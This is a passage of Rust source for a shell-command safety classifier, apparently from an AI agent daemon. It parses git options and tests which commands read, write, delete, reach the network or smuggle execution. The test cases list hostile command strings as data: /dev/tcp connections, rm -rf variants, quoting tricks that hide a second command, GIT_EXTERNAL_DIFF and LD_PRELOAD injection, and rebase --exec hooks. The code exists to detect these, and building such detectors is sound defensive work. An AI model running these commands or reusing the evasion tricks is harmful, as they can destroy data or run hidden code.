        ("branch", OptionValue::Ignore),
        ("origin", OptionValue::Ignore),
        ("depth", OptionValue::Ignore),
        ("shallow-since", OptionValue::Ignore),
        ("shallow-exclude", OptionValue::Ignore),
        ("filter", OptionValue::Ignore),
        ("jobs", OptionValue::Ignore),
        ("upload-pack", OptionValue::Ignore),
        ("template", OptionValue::Ignore),
        ("separate-git-dir", OptionValue::Ignore),
        ("reference", OptionValue::Ignore),
        ("config", OptionValue::Ignore),
        ("recurse-submodules", OptionValue::Ignore),
    ],
    long_equals: true,
    exact: &[],
    stop_at_positional: false,
};

const GIT_FETCH: OptionSpec = OptionSpec {
    flags: "qvafkmnpPtu",
    valued: &[('j', OptionValue::Ignore), ('o', OptionValue::Ignore)],
    long_flags: &[
        "quiet",
        "verbose",
        "progress",
        "force",
        "tags",
        "no-tags",
        "prune",
        "dry-run",
        "unshallow",
        "update-head-ok",
        "append",
    ],
    long_valued: &[
        ("depth", OptionValue::Ignore),
        ("deepen", OptionValue::Ignore),
        ("shallow-since", OptionValue::Ignore),
        ("shallow-exclude", OptionValue::Ignore),
        ("jobs", OptionValue::Ignore),
        ("upload-pack", OptionValue::Ignore),
        ("refmap", OptionValue::Ignore),
        ("server-option", OptionValue::Ignore),
        ("recurse-submodules", OptionValue::Ignore),
    ],
    long_equals: true,
    exact: &[],
    stop_at_positional: false,
};

const GIT_PULL: OptionSpec = OptionSpec {
    flags: "qvnfkr",
    valued: &[
        ('s', OptionValue::Ignore),
        ('X', OptionValue::Ignore),
        ('j', OptionValue::Ignore),
        ('o', OptionValue::Ignore),
    ],
    long_flags: &[
        "quiet",
        "verbose",
        "progress",
        "force",
        "tags",
        "no-tags",
        "prune",
        "rebase",
        "no-rebase",
        "ff-only",
        "ff",
        "no-ff",
        "unshallow",
        "autostash",
        "no-autostash",
    ],
    long_valued: &[
        ("strategy", OptionValue::Ignore),
        ("strategy-option", OptionValue::Ignore),
        ("depth", OptionValue::Ignore),
        ("jobs", OptionValue::Ignore),
        ("rebase", OptionValue::Ignore),
        ("upload-pack", OptionValue::Ignore),
        ("recurse-submodules", OptionValue::Ignore),
    ],
    long_equals: true,
    exact: &[],
    stop_at_positional: false,
};

const GIT_PUSH: OptionSpec = OptionSpec {
    flags: "qvfnud",
    valued: &[('o', OptionValue::Ignore)],
    long_flags: &[
        "quiet",
        "verbose",
        "progress",
        "force",
        "tags",
        "all",
        "mirror",
        "dry-run",
        "atomic",
        "follow-tags",
        "set-upstream",
        "delete",
        "prune",
        "force-with-lease",
        "no-verify",
    ],
    long_valued: &[
        ("push-option", OptionValue::Ignore),
        ("force-with-lease", OptionValue::Ignore),
        ("receive-pack", OptionValue::Ignore),
        ("exec", OptionValue::Ignore),
        ("repo", OptionValue::Ignore),
        ("recurse-submodules", OptionValue::Ignore),
    ],
    long_equals: true,
    exact: &[],
    stop_at_positional: false,
};

/// A git remote given as a URL (`https://`, `ssh://`, `git://`, or
/// scp-like `user@host:path`). `Ok(None)` for a local repository path;
/// `Err` for a remote named only by configuration (`origin`).
fn git_remote(remote: &str) -> Result<Option<EffectKey>, ()> {
    // `transport::address` (`ext::` runs a command).
    if remote.contains("::") {
        return Err(());
    }
    if let Some(scheme_end) = remote.find("://") {
        return match &remote[..scheme_end] {
            "file" => Ok(None),
            "ext" => Err(()),
            _ => url_effect(remote).map(Some).ok_or(()),
        };
    }
    if remote.starts_with(['/', '.', '~']) {
        return Ok(None);
    }
    match remote.split_once(':') {
        Some((before, _)) if !before.contains('/') && !before.is_empty() => {
            ssh_host_effect(before, None).map(Some).ok_or(())
        }
        _ => Err(()),
    }
}

/// Every git command is incomplete: repository config (diff.external,
/// core.fsmonitor, aliases, pagers, hooks) can run code, and `clone`,
/// `fetch` and `pull` may fetch submodules from other hosts. The remote of
/// `ls-remote <strict URL>` and of the network subcommands is still declared
/// as a lower bound.
fn git(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
    let Some(subcommand) = args.first().filter(|arg| !arg.starts_with('-')) else {
        out.opaque();
        return;
    };
    let rest = &args[1..];
    // Repository config can run code for any subcommand: never complete.
    out.opaque();
    if subcommand == "ls-remote" {
        if let [remote] = rest
            && let Some(key) = url_effect(remote)
        {
            out.add(key);
        }
        return;
    }
    let spec = match subcommand.as_str() {
        "clone" => &GIT_CLONE,
        "fetch" => &GIT_FETCH,
        "pull" => &GIT_PULL,
        "push" => &GIT_PUSH,
        _ => {
            out.opaque();
            return;
        }
    };
    out.opaque();
    let Some(parsed) = parse_options(spec, rest) else {
        return;
    };
    let Some(remote) = parsed.positionals.first() else {
        return;
    };
    if let Ok(Some(key)) = git_remote(remote) {
        out.add(key);
    }
    if subcommand == "clone"
        && let Some(directory) = parsed.positionals.get(1)
    {
        out.path(EffectClass::Write, directory, cwd);
    }
}

#[cfg(test)]
mod remote_inner_tests {
    use super::{recognizably_changes, remote_inner_only_reads};

    /// Only a change the classifier can name counts; an unknown program or
    /// a look does not, so crediting from it never invents work.
    #[test]
    fn only_a_recognized_change_counts() {
        for change in [
            "docker exec app-1 bash -lc 'printf x > /app/move.txt'",
            "docker exec app-1 chmod +x /app/run.sh",
            "ssh host 'sudo apt-get install -y nginx'",
            "sed -i 's/a/b/' notes.txt",
            "mkdir -p out && cp a.txt out/",
            "git commit -m synthetic",
        ] {
            assert!(recognizably_changes(change), "{change}");
        }
        for not_recognized in [
            "docker exec app-1 bash -lc 'ls /app; cat /app/a'",
            "docker exec app-1 python3 /app/run.py",
            "./deploy.sh",
            "ls -la",
            "sed 's/a/b/' notes.txt",
        ] {
            assert!(!recognizably_changes(not_recognized), "{not_recognized}");
        }
    }

    /// A file written with a here-document inside `docker exec ... bash -lc`
    /// is a recognized change, however the delimiter is quoted (live
    /// 2026-11-20: a script written this way read as "nothing attempted",
    /// and the run was sent back to redo it).
    #[test]
    fn a_heredoc_write_inside_a_remote_exec_is_a_change() {
        for change in [
            "docker exec app-1 bash -lc 'cat > /app/proc.py <<\"EOF\"\nimport csv\nprint(1)\nEOF'",
            "docker exec app-1 bash -lc 'cat > /app/proc.py <<'\"'\"'EOF'\"'\"'\nimport csv\nEOF\ncd /app && python3 proc.py'",
            "docker exec app-1 bash -lc 'cat > /app/proc.py <<EOF\nx = {\"a\": 1}\nEOF'",
            "docker exec app-1 bash -lc 'cd /app && cat <<EOF > out.txt\nhello\nEOF'",
        ] {
            assert!(recognizably_changes(change), "{change}");
            assert_eq!(remote_inner_only_reads(change), Some(false), "{change}");
        }
    }

    /// A look inside a container or host reads; a write there changes.
    #[test]
    fn the_command_inside_a_remote_exec_is_judged() {
        assert_eq!(
            remote_inner_only_reads("docker exec app-1 bash -lc 'ls -la /app; cat /app/a.txt'"),
            Some(true)
        );
        assert_eq!(
            remote_inner_only_reads(
                "docker exec -w /app app-1 bash -lc 'printf x > /app/move.txt'"
            ),
            Some(false)
        );
        assert_eq!(
            remote_inner_only_reads("docker exec -e K=v app-1 rm -f /app/old.log"),
            Some(false)
        );
        assert_eq!(
            remote_inner_only_reads("ssh -p 2222 host cat /etc/hostname"),
            Some(true)
        );
        assert_eq!(
            remote_inner_only_reads("ssh host 'systemctl restart nginx'"),
            Some(false)
        );
        assert_eq!(
            remote_inner_only_reads("kubectl exec pod-1 -- sh -c 'ls /data'"),
            Some(true)
        );
        assert_eq!(
            remote_inner_only_reads("docker compose exec -T web sh -c 'cat /srv/a'"),
            Some(true)
        );
        assert_eq!(
            remote_inner_only_reads("lxc exec box -- touch /tmp/a"),
            Some(false)
        );
        assert_eq!(
            remote_inner_only_reads("vagrant ssh -c 'ls /vagrant'"),
            Some(true)
        );
        assert_eq!(
            remote_inner_only_reads("gcloud compute ssh vm-1 --command='rm -f /tmp/a'"),
            Some(false)
        );
        // Not one remote wrapper: nothing to judge here.
        assert_eq!(remote_inner_only_reads("ls /app"), None);
        assert_eq!(remote_inner_only_reads("docker ps"), None);
        assert_eq!(
            remote_inner_only_reads("docker exec app-1 ls && rm -rf /tmp/x"),
            None
        );
    }
}

#[cfg(test)]
mod tests {
    /// A project's own Drush or WP-CLI command acts on its own site; code
    /// it is handed, a URL, a file written here, another program or a `cd`
    /// does not.
    #[test]
    fn a_ddev_project_command_acts_on_its_own_project() {
        for own in [
            "ddev drush watchdog:show --count=8",
            "ddev drush cr",
            "ddev wp option update blogname 'Claude Company' --path=web",
            "ddev wp user update 1 --display_name=Admin",
        ] {
            assert!(super::acts_on_its_ddev_project(own), "{own}");
        }
        for other in [
            "ddev drush php:eval 'file_get_contents(\"https://x.invalid\");'",
            "ddev wp eval 'echo 1;'",
            "ddev wp plugin install https://x.invalid/p.zip",
            "ddev drush sql:dump > /tmp/dump.sql",
            "ddev exec curl https://x.invalid",
            "ddev drush --eval=1 status",
            "cd /elsewhere && ddev drush cr",
            "ddev drush cr; curl https://x.invalid",
        ] {
            assert!(!super::acts_on_its_ddev_project(other), "{other}");
        }
    }

    use super::*;

    /// A background command is named by what it runs, never by its line.
    #[test]
    fn a_command_is_labelled_by_its_program() {
        assert_eq!(
            program_label("for i in $(seq 1 200); do echo $i; sleep 2; done; echo done"),
            "a shell loop"
        );
        assert_eq!(
            program_label("while kill -0 123; do sleep 5; done"),
            "a shell loop"
        );
        assert_eq!(program_label("cd /srv/demo && ddev start"), "ddev");
        assert_eq!(program_label("ddev drush site:install -y"), "ddev");
        assert_eq!(
            program_label("FOO=1 nohup /usr/bin/python3 serve.py"),
            "python3"
        );
        assert_eq!(program_label(""), "a command");
    }

    /// A local project's own status queries (a project report, read-only
    /// WP-CLI and drush queries) are local work; starting, installing,
    /// running code and arbitrary commands in its containers are not.
    /// The inspection a helper ran before installing (live 2026-11-12): a
    /// `for` loop over two folders, a `( ... )` subshell, `2>&1`, pipes
    /// into `head` and the loop variable. Every command it runs reads or
    /// reports a local project, so it is local work that reaches nothing
    /// beyond this computer; the same loop deleting, or writing a file,
    /// is not read-only.
    const INSPECT_SITES: &str = "cd /Users/alice/projects && for d in claude-drupal \
        claude-wordpress; do echo \"== $d\"; ls -la $d | head -30; ls $d/.ddev 2>&1 | head; \
        (cd $d && ddev describe 2>&1 | head -25); done";

    #[test]
    fn a_read_only_loop_with_a_subshell_is_local_work() {
        let effects = command_effects(INSPECT_SITES);
        assert!(effects.local_work_only, "{INSPECT_SITES}");
        assert!(!effects.deletes);
        assert!(reaches_only_this_computer(INSPECT_SITES));
        assert!(!fetches_network(INSPECT_SITES));
        // Observations alone, in the same shapes, are read-only.
        for read in [
            "for d in a b; do echo \"== $d\"; ls -la $d | head -30; done",
            "(ls -la /tmp && pwd) 2>&1 | head",
            "for d in a b; do for f in x y; do cat ${d}/$f; done; done",
            "for f in *.log; do tail -5 $f; done",
        ] {
            assert!(command_effects(read).observation_only, "{read}");
        }

        let deleting = INSPECT_SITES.replace("ls -la $d | head -30", "rm -rf $d");
        let effects = command_effects(&deleting);
        assert!(
            effects.deletes && effects.delete_targets.is_none(),
            "{deleting}"
        );
        assert!(!effects.observation_only);
        assert!(!reaches_only_this_computer(&deleting));
        let writing = INSPECT_SITES.replace("ls -la $d | head -30", "ls -la $d > notes.txt");
        // A file it writes stays on this computer, but it is not a read.
        assert!(!command_effects(&writing).observation_only, "{writing}");

        for not_understood in [
            // A loop word that splits, or a variable, could become any flag.
            "for x in \"-o out\"; do sort $x f; done",
            "for x in $FLAGS; do sort $x f; done",
            "for x in -o; do sort $x out f; done",
            "for x in -delete; do find . $x; done",
            // The loop variable is the program.
            "for p in ls rm; do $p x; done",
            "for p in rm; do (cd /tmp && $p -rf x); done",
            "for p in ls; do $p x; done; rm y",
            "for d in a; do ls $d",
            "for d in a; ls $d; done",
            "for d; do ls $d; done",
            "for ((i=0;i<3;i++)); do ls; done",
            "while true; do ls; done",
            "if true; then ls; fi",
            "ls (cd x)",
            "(ls) ls",
            "(ls",
            "ls)",
            "f() (ls); f",
            "(echo $(rm x))",
        ] {
            let effects = command_effects(not_understood);
            assert!(!effects.observation_only, "{not_understood}");
            assert!(!effects.local_work_only, "{not_understood}");
        }
    }

    /// The card names the folders a read-only command looks inside; a
    /// command that also deletes, writes or runs anything else names none.
    #[test]
    fn the_folders_a_read_only_command_looks_inside_are_named() {
        assert_eq!(
            looked_inside(INSPECT_SITES),
            ["claude-drupal", "claude-wordpress"]
        );
        assert_eq!(
            looked_inside("ls -la /srv/www/shop/ && du -sh logs/2026"),
            ["shop", "logs"]
        );
        assert_eq!(
            looked_inside("tree -L 2 src && find app -name '*.php'"),
            ["src", "app"]
        );
        assert!(looked_inside("ls ~ . .. $HOME *.txt").is_empty());
        assert!(looked_inside("cat notes.txt").is_empty());
        for not_only_looking in [
            INSPECT_SITES.replace("ls -la $d | head -30", "rm -rf $d"),
            INSPECT_SITES.replace("ls -la $d | head -30", "ls -la $d > notes.txt"),
            "ls site && curl -s http://localhost:5173/".to_string(),
            "ls site && cargo build".to_string(),
        ] {
            assert!(
                looked_inside(&not_only_looking).is_empty(),
                "{not_only_looking}"
            );
        }
    }

    #[test]
    fn a_command_card_carries_its_typed_effects() {
        use aidaemon_core::{CardAction, HighImpact};
        let card = command_card(INSPECT_SITES, Some("check the site folders".to_string()));
        assert_eq!(card.impact, None);
        assert!(matches!(
            &card.action,
            CardAction::Command { looks_inside, title: Some(_), line }
                if looks_inside.len() == 2 && line == INSPECT_SITES
        ));
        assert_eq!(
            command_card("rm -rf build dist", None).impact,
            Some(HighImpact::Deletes {
                targets: vec!["build".to_string(), "dist".to_string()]
            })
        );
        assert_eq!(
            command_card("curl -X POST https://example.invalid/hook", None).impact,
            Some(HighImpact::Sends)
        );
    }

    /// Checking a dev site this work set up is a read; saving its page,
    /// writing to it or reaching anything else is not.
    #[test]
    fn a_local_site_check_only_reads_this_computer() {
        for read in [
            "curl -s -o /dev/null -w '%{http_code}' https://shop-synthetic.localhost/",
            "curl -sI https://127.0.0.1:8443/ | head -5",
            "cd /tmp/site && ddev describe && curl -s http://localhost:5173/ | grep -c title",
            INSPECT_SITES,
        ] {
            assert!(only_reads_this_computer(read), "{read}");
        }
        for not_a_read in [
            "curl -s -o page.html https://shop-synthetic.localhost/",
            "curl -sSo page.html http://localhost:5173/",
            "curl -s -c jar http://localhost:5173/",
            "curl -s https://example.invalid/",
            "curl -s -X POST http://localhost:5173/x",
            "curl -s http://localhost:5173/ > page.html",
            "wget http://localhost:5173/",
            "ddev start",
            "cargo build",
        ] {
            assert!(!only_reads_this_computer(not_a_read), "{not_a_read}");
        }
    }

    /// A build or test runner runs the project's own code; moving files or
    /// local git does not.
    #[test]
    fn build_and_test_runners_run_project_code() {
        for runner in [
            "make",
            "make -C sub all",
            "cargo test -q",
            "cargo +nightly build",
            "cd /srv/app && npm run build",
            "pytest tests/test_x.py",
            "python3 scripts/gen.py",
            "go test ./...",
            "env FOO=1 make",
        ] {
            assert!(command_effects(runner).runs_project_code, "{runner}");
        }
        for plain in [
            "git status",
            "cp a b",
            "mkdir -p out",
            "cargo fmt",
            "cargo tree",
            "ls -la",
            "npm view left-pad",
        ] {
            assert!(!command_effects(plain).runs_project_code, "{plain}");
        }
    }

    #[test]
    fn ddev_status_queries_are_local_work() {
        for query in [
            "ddev describe",
            "cd /srv/demo && ls -la ADMIN_PASSWORD.txt && ddev wp core is-installed; \
             echo \"is-installed exit: $?\"; ddev wp option get siteurl",
            "ddev wp core version --allow-root",
            "ddev drush status --field=bootstrap",
            "ddev wp plugin list --format=json",
        ] {
            let effects = command_effects(query);
            assert!(effects.local_work_only, "{query}");
            assert!(!fetches_network(query), "{query}");
        }
        for other in [
            "ddev start",
            "ddev wp plugin install akismet",
            "ddev wp core download",
            "ddev wp --exec='echo 1;' option get siteurl",
            "ddev wp option get siteurl --require=/tmp/x.php",
            "ddev exec curl https://example.invalid",
            "ddev ssh",
            "ddev drush sql:drop",
            "ddev",
        ] {
            assert!(!command_effects(other).local_work_only, "{other}");
        }
    }

    /// Every path effect reads its argument the same way: a bracket in
    /// either form, `~user` and an unanchored relative path are unreadable.
    #[test]
    fn path_effects_read_one_argument_one_way() {
        for raw in ["/tmp/a]b", "/tmp/a[b", "~someone/x", "rel/x"] {
            assert!(
                path_effect(EffectClass::Write, raw, None).is_none(),
                "{raw}"
            );
            assert!(
                shell_path_effects(EffectClass::Write, raw, None).is_none(),
                "{raw}"
            );
        }
        assert_eq!(
            structural_absolute_path("notes.txt", Some("/srv/app/")),
            Some("/srv/app/notes.txt".to_string())
        );
    }

    /// `xargs` takes its operands from stdin, which no argument names: the
    /// paths it reads cannot be determined, even with a readable redirect.
    #[test]
    fn xargs_path_operands_are_undeterminable() {
        assert_eq!(path_operands("xargs cat < list.txt"), None);
        assert_eq!(path_operands("cat list.txt | xargs cat"), None);
    }

    #[test]
    fn local_work_and_delete_targets_are_typed_by_structure() {
        for local in [
            "cargo test > out.log 2>&1",
            "cargo fmt\ncargo test",
            "cd /tmp/aidaemon-test/p && git status",
            "rm -f a.o b.o",
        ] {
            assert!(command_effects(local).local_work_only, "{local}");
        }
        for other in [
            "cargo test < input.txt",
            "git -C /tmp/aidaemon-test/p commit -m x",
            "npm install",
            "sh -c 'cargo test'",
            "cargo test # done",
            "tee out.log",
            // Inline code through a local-work program's own options.
            "git rebase -x 'curl x' HEAD~1",
            "git rebase --exec='curl x' HEAD~1",
            "git rebase --exec 'curl x' HEAD~1",
            "git commit -c HEAD",
            "cargo test --config 'target.x.runner=\"sh\"'",
            "cargo build --config=build.rustc-wrapper=x",
            "make --eval='$x'",
            "make -E x",
            "make -E'$x'",
            "go build --toolexec=x",
            "go build -toolexec x ./...",
            "go test -exec=x ./...",
            "python3 /dev/stdin",
            "python3 -",
            "node /dev/fd/3",
            "npm exec x",
            "pnpm dlx x",
            "yarn dlx x",
        ] {
            assert!(!command_effects(other).local_work_only, "{other}");
        }
        for local in [
            "git rebase main",
            "make -j4 all",
            "go test ./...",
            "node scripts/x.js",
        ] {
            assert!(command_effects(local).local_work_only, "{local}");
        }
        assert_eq!(
            command_effects("rm -rf -- -odd build && find out -delete").delete_targets,
            Some(vec!["-odd".into(), "build".into(), "out".into()])
        );
        for unknown in [
            "rm \"$X\"",
            "git clean -fd",
            "xargs rm",
            "rm `ls`",
            "find -delete",
            "find -L / -delete",
            "rm -rf {a,b}",
            "cd x && rm y",
        ] {
            assert_eq!(command_effects(unknown).delete_targets, None, "{unknown}");
        }
        // Observations still refuse file redirects.
        assert!(!command_effects("ls > out").observation_only);
    }

    #[test]
    fn command_effects_types_observation_by_structure() {
        for observing in [
            "ls /tmp",
            "git status",
            "grep -r x .",
            "cat a 2>&1 | head",
            "ls > /dev/null",
            "ls 2>/dev/null",
            "echo 'a > b'",
            "git branch --list",
            "git branch",
            "find . -name '*.rs'",
            "date +%Y",
            "date -u",
            "date -u +%H:%M",
            "date --utc",
            "date -R",
            "date -Iseconds",
            "date --iso-8601=seconds",
            "tree -a -L 2",
            "uniq -c f",
            "date",
            "/usr/bin/ls",
            "rg -n foo src",
            "sort -u f",
            "cat < /dev/null",
            "test ! -e restart-check.txt",
            "[ -f Cargo.toml ]",
            "test -d src && ls src",
            "sleep 18",
            "sleep 0.5",
            "sleep 2m",
            "sleep 5 && cat out.log",
            // Live 2026-11-14: each of these waited about 2 s for the
            // untrusted-egress verifier in a session that had read a page.
            "TZ=Asia/Tokyo date '+%I:%M %p'",
            "date -u '+%Y'; TZ=Europe/London date '+London %H'",
            "for city in Asia/Tokyo Europe/Paris; do TZ=\"$city\" date '+%Z'; done",
            "LC_ALL=C sort -u f",
            "find . -maxdepth 1 -type f -name '*.rs' -exec stat -f '%z %N' {} + | sort -nr",
            "find . -name '*.rs' -exec wc -l {} \\;",
            "df -h /System/Volumes/Data; top -l 1 -n 0 | grep PhysMem; sysctl -n hw.memsize",
            "top -b -n 1",
            "sysctl -a",
            "git branch --show-current && git rev-list --count master..HEAD && git log -1 --format=%s",
            "sw_vers -productVersion; hostname; uptime",
            "hostname -s",
        ] {
            assert!(
                command_effects(observing).observation_only,
                "{observing} should be observation-only"
            );
        }
        for mutating in [
            "sleep infinity",
            "sleep 5; curl example.invalid",
            "sleep $(curl example.invalid)",
            "rm -rf /tmp/aidaemon-test/x",
            "ls /tmp; rm -rf /tmp/aidaemon-test/x",
            "ls && rm x",
            "cat a > b",
            "echo x >> b",
            "ls | xargs rm",
            "ls | tee out",
            "echo $(curl example.invalid)",
            "echo \"$(curl example.invalid)\"",
            "echo `id`",
            "find . -delete",
            "find . -exec rm {} ;",
            "sed -i s/a/b/ f",
            "sed -ni p f",
            "sed --in-place p f",
            "git push",
            "git branch -D x",
            "git clean -fd",
            "python3 script.py",
            "curl https://example.invalid",
            "sh -c 'rm x'",
            "cat a >&out",
            "echo hi &> out",
            "sort -o out in",
            "git diff --output=out",
            "uniq in out",
            "echo 'unterminated",
            "",
            "ls; env -S 'rm x'",
            "ls; env -S'rm x'",
            "ls # <<EOF\nrm x\nEOF",
            "ls\nrm x",
            "cat <<EOF\nhi\nEOF",
            "rg --pre rm x .",
            "rg --pre=rm x .",
            "rg --hostname-bin=rm x",
            "rg -z foo",
            "GIT_EXTERNAL_DIFF='rm -rf x' git diff",
            "env GIT_EXTERNAL_DIFF=rm git diff",
            "FOO=1 ls",
            "PATH=/tmp ls",
            "TZ=UTC PATH=/tmp date",
            "LD_PRELOAD=x date",
            "LC_ALL=C GIT_EXTERNAL_DIFF=x git diff",
            "find . -exec rm {} +",
            "find . -exec stat {} \\; -delete",
            "find . -exec stat {}",
            "find . -ok stat {} \\;",
            "find . -exec sh -c 'rm x' \\;",
            "hostname newname",
            "hostname -F f",
            "sysctl -w kern.x=1",
            "sysctl kern.x=1",
            "sysctl -p",
            "sysctl --system",
            "top",
            "top -l 0",
            "git branch --show-current -D x",
            "env ls",
            "git --config-env=core.fsmonitor=F status",
            "git -c core.pager=x status",
            "git diff --ext-diff",
            "sort --compress-program=rm a",
            "cat </dev/tcp/example.invalid/80",
            "cat < f",
            "date -s 2020-01-01",
            "date -u -s 2020-01-01",
            "date -u 010112002020",
            "date 010112002020",
            "date +%Y 010112002020",
            "date +%Y +%m",
            "date -us 2020-01-01",
            "hostname evil",
            "file -C -m m",
            "sed -n p f",
            "sed 's/a/b/w out' f",
            "sed '1e rm x' f",
            "(rm x)",
            "{ rm x; }",
            "sudo ls",
            "nice ls",
            "timeout 5 ls",
            "/tmp/evil/ls",
            "./ls",
            "echo a #b",
            "echo $'\\'' > out \\'",
            "echo $'a\\'' ; rm -rf x ; echo \\'",
            "echo $'a\\'' ; curl example.invalid ; echo \\'",
            "uniq - out",
            "uniq -c - out",
            "tree -ao out",
            "tree -R",
            "tree --weird",
            "git -C d status",
            "git --git-dir=d status",
            "git --git-dir d status",
            "git --work-tree=d status",
        ] {
            assert!(
                !command_effects(mutating).observation_only,
                "{mutating} should not be observation-only"
            );
        }
    }

    #[test]
    fn remote_writes_are_read_from_option_structure() {
        for writing in [
            "curl --noproxy '*' --silent --request POST -H 'Content-Type: application/json' --data '{}' http://localhost:1/ping",
            "curl -X POST http://localhost:1/x",
            "curl -XDELETE http://localhost:1/x",
            "curl -sd a=1 https://example.invalid",
            "curl --json '{}' https://example.invalid",
            "curl -F f=@a https://example.invalid",
            "curl --upload-file a https://example.invalid",
            "wget --post-data=a=1 https://example.invalid",
            "wget --method PUT https://example.invalid",
            "git push origin main",
            "git -C repo push",
            "cd x && curl -X PATCH https://example.invalid",
        ] {
            assert!(sends_remote_write(writing), "{writing} sends a write");
        }
        for reading in [
            "curl https://example.invalid",
            "curl -sSL -o out https://example.invalid",
            "curl -X GET https://example.invalid",
            "curl --request=HEAD https://example.invalid",
            "wget https://example.invalid",
            "git pull",
            "git log --grep push",
            "ls",
        ] {
            assert!(!sends_remote_write(reading), "{reading} only reads");
        }
    }

    #[test]
    fn fetches_network_by_executable_table() {
        for fetching in [
            "curl https://example.invalid",
            "ls && wget x",
            "git clone u",
            "git -C d pull",
            "npm install x",
            "cargo add serde",
            "sh -c 'ssh host'",
            "gh pr list",
            "sudo curl x",
            "nice curl x",
            "timeout 5 curl x",
            "xargs curl",
            "find . -exec curl {} ;",
            "(curl x)",
            "{ curl x; }",
            "echo \"$(curl x)\"",
            "cat </dev/tcp/example.invalid/80",
            "pip3 -q install x",
            "npm --prefix d install x",
            "cargo +nightly install x",
            "yarn",
            "npm ci",
            "npx foo",
            "pnpm dlx foo",
            "bunx foo",
            "uvx foo",
            "uv pip install x",
            "pip download x",
            "brew install x",
            "go get x",
            "docker pull x",
            "gem install x",
            "apt-get install x",
            "svn up",
            "hg pull",
            "socat a b",
            "openssl s_client -connect h:1",
            "ping h",
            "dig h",
            "rclone ls r:",
            "aws s3 ls",
            "kubectl get pods",
            "git remote update",
            "git archive --remote=u HEAD",
            "git push",
            "npm publish",
            "cargo publish",
            "FOO=1 curl x",
        ] {
            assert!(fetches_network(fetching), "{fetching}");
        }
        for local in [
            "git status",
            "npm test",
            "cargo build",
            "echo curl",
            "ls",
            "yarn test",
        ] {
            assert!(!fetches_network(local), "{local}");
        }
    }

    #[test]
    fn ansi_c_quoting_over_reports_effects() {
        for hidden in [
            "echo $'a\\'' ; rm -rf x ; echo \\'",
            "echo $'a\\'' ; curl example.invalid ; echo \\'",
        ] {
            assert!(command_effects(hidden).deletes, "{hidden}");
            assert!(fetches_network(hidden), "{hidden}");
        }
    }

    #[test]
    fn git_config_paths_are_structural() {
        for path in [
            "/repo/.git/config",
            ".git/hooks/pre-commit",
            "a/.git",
            "/repo/sub/.gitattributes",
            ".gitmodules",
            "C:\\repo\\.git\\config",
        ] {
            assert!(is_git_config_path(path), "{path}");
        }
        for path in [
            "/repo/.github/x.yml",
            "/repo/src/git.rs",
            "a/.gitignore",
            "/repo/gitattributes",
        ] {
            assert!(!is_git_config_path(path), "{path}");
        }
    }

    #[test]
    fn git_config_path_detection_is_case_insensitive_and_global() {
        for path in [
            ".GIT/config",
            "repo/.Git/config",
            "repo/.GITATTRIBUTES",
            "repo/.GITMODULES",
            "repo/.git./config",
            "repo/.git /config",
            "./repo/x/../.git/config",
            "~/.gitconfig",
            "$HOME/.gitconfig",
            "${HOME}/.gitconfig",
            "~/.config/git/attributes",
            "~/.config/git/config",
            "~/.config/../.config/git/ignore",
            "/etc/gitconfig",
            "/etc/./gitconfig",
            "/srv/user/.GITCONFIG",
        ] {
            assert!(is_git_config_path(path), "{path}");
        }
        if let Some(home) = dirs::home_dir() {
            let absolute = home.join(".config").join("git").join("attributes");
            assert!(is_git_config_path(&absolute.to_string_lossy()));
        }
        // `.gitignore` and `.github` are ordinary project files.
        for path in [
            "repo/src/git.rs",
            "repo/.github/workflows/x.yml",
            "repo/.gitignore",
            "repo/.GITHUB/x.yml",
            "/etc/gitconfig.d/x",
            "repo/config/git.toml",
        ] {
            assert!(!is_git_config_path(path), "{path}");
        }
    }

    #[test]
    fn command_words_naming_git_config_are_detected() {
        for command in [
            "cp x ~/.gitconfig",
            "echo x > ~/.gitconfig",
            "echo x >>.git/config",
            "git config --file=$HOME/.gitconfig a.b c",
            "sh -c 'cp x .GIT/hooks/pre-commit'",
            "echo \"$(cp x /etc/gitconfig)\"",
            "cp x \"repo/.gitattributes\"",
        ] {
            assert!(command_names_git_config_path(command), "{command}");
        }
        for command in ["cp x y", "cat .gitignore", "ls .github", "git status"] {
            assert!(!command_names_git_config_path(command), "{command}");
        }
    }

    #[test]
    fn command_effects_flags_deletion_structurally() {
        for deleting in [
            "rm x",
            "find . -delete",
            "git clean -fd",
            "ls; rmdir d",
            "sh -c 'unlink x'",
            "ls | xargs rm",
            "find . -exec shred {} ;",
            "sudo rm x",
            "nice rm x",
            "timeout 5 rm x",
            "(rm x)",
            "{ rm x; }",
            "exec rm x",
            "echo \"$(rm x)\"",
            "FOO=1 rm x",
        ] {
            assert!(command_effects(deleting).deletes, "{deleting}");
        }
        for benign in [
            "ls",
            "git status",
            "echo rm",
            "grep rm file",
            "find . -name x",
        ] {
            assert!(!command_effects(benign).deletes, "{benign}");
        }
    }

    fn egress(target: &str) -> EffectKey {
        EffectKey {
            class: EffectClass::Egress,
            target: target.to_string(),
        }
    }

    /// The canonical form of a path that may not exist yet: its nearest
    /// existing ancestor canonicalized (macOS `/tmp` is `/private/tmp`).
    fn canonical(path: &str) -> String {
        let path = std::path::Path::new(path);
        for ancestor in path.ancestors() {
            if let Ok(real) = dunce::canonicalize(ancestor) {
                let rest = path.strip_prefix(ancestor).unwrap();
                return real
                    .join(rest)
                    .to_string_lossy()
                    .trim_end_matches('/')
                    .to_string();
            }
        }
        unreachable!()
    }

    fn synthetic_dir() -> String {
        format!("/tmp/aidaemon-test/{}", uuid::Uuid::new_v4())
    }

    #[test]
    fn ipv6_bracketed_and_bare_hosts_match() {
        assert_eq!(
            egress_effect("http", "[::1]", Some(8765)),
            egress_effect("http", "::1", Some(8765))
        );
        assert_eq!(
            egress_effect("http", "[::1]", Some(8765)),
            Some(egress("::1:8765"))
        );
        // A URL host and a bare shell operand name the same target.
        assert_eq!(
            url_effect("http://[::1]:8765/announce"),
            Some(egress("::1:8765"))
        );
        assert_eq!(
            shell_call_effects("nc ::1 8765", None).keys,
            vec![egress("::1:8765")]
        );
    }

    #[test]
    fn existing_path_declared_canonically() {
        let dir = tempfile::tempdir().unwrap();
        let real = dir.path().join("real");
        std::fs::create_dir(&real).unwrap();
        let link = dir.path().join("link");
        #[cfg(unix)]
        std::os::unix::fs::symlink(&real, &link).unwrap();
        #[cfg(not(unix))]
        return;
        let real_canonical = dunce::canonicalize(&real).unwrap();
        // An existing path through a symlink is the symlink's target.
        let existing = path_effect(EffectClass::Write, link.to_str().unwrap(), None).unwrap();
        assert_eq!(existing.target, real_canonical.to_string_lossy());
        // A new file below it lands below the canonical directory.
        let new_file = path_effect(
